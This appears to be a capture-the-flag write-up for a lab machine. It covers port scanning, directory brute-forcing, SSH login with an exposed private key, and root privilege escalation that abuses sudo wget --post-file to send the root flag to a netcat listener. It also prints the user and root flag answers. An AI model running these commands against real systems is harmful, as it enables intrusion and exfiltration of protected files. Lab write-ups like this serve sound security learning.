Skip to content

Latest commit

 

History

History
103 lines (63 loc) · 2.75 KB

wgelctf.md

File metadata and controls

103 lines (63 loc) · 2.75 KB

Can you exfiltrate the root flag?

Scanning

Scan ports using nmap

nmap -A -T4 10.10.200.215

image

We found 2 open ports 22 (ssh) and 80 (http)

HTTP

We access the web service by http on port 80

image

View source and we can see a announcement on line 278

image

"jessie" is name of 1 user on the server

Enumeration

We use gobuster to enummerate directory on web server

gobuster dir -u http://10.10.200.215/ -w /usr/share/wordlists/dirb/common.txt -t 30

image

We access to /sitemap/ directory, we find a corporate web

image

We try gobuster against this page

gobuster dir -u http://10.10.200.215/sitemap/ -w /usr/share/wordlists/dirb/common.txt -t 30

image

we found ".ssh" directory with id_rsa file

image

image

Exploitation

We can ssh with "jessie" user using id_rsa file

wget http://10.10.200.215/sitemap/.ssh/id_rsa
chmod 600 id_rsa
ssh [email protected] -i id_rsa

image

find . -name *flag*

image

Flag User flag
Answer 057c67131c3d5e42dd5cd3075b198ff6

Privilege Escalation

sudo -l -l

image

Only user/bin/wget allowed as suoder

We we put a netcat listening and use the flag "wget --post-file" to get root flag

nc -lvnp 4444
# another terminal
sudo /usr/bin/wget --post-file=/root/root_flag.txt 10.10.149.210:4444

And just like that, I got the root_flag.txt

image

Flag Root flag
Answer b1b968b37519ad1daa6408188649263d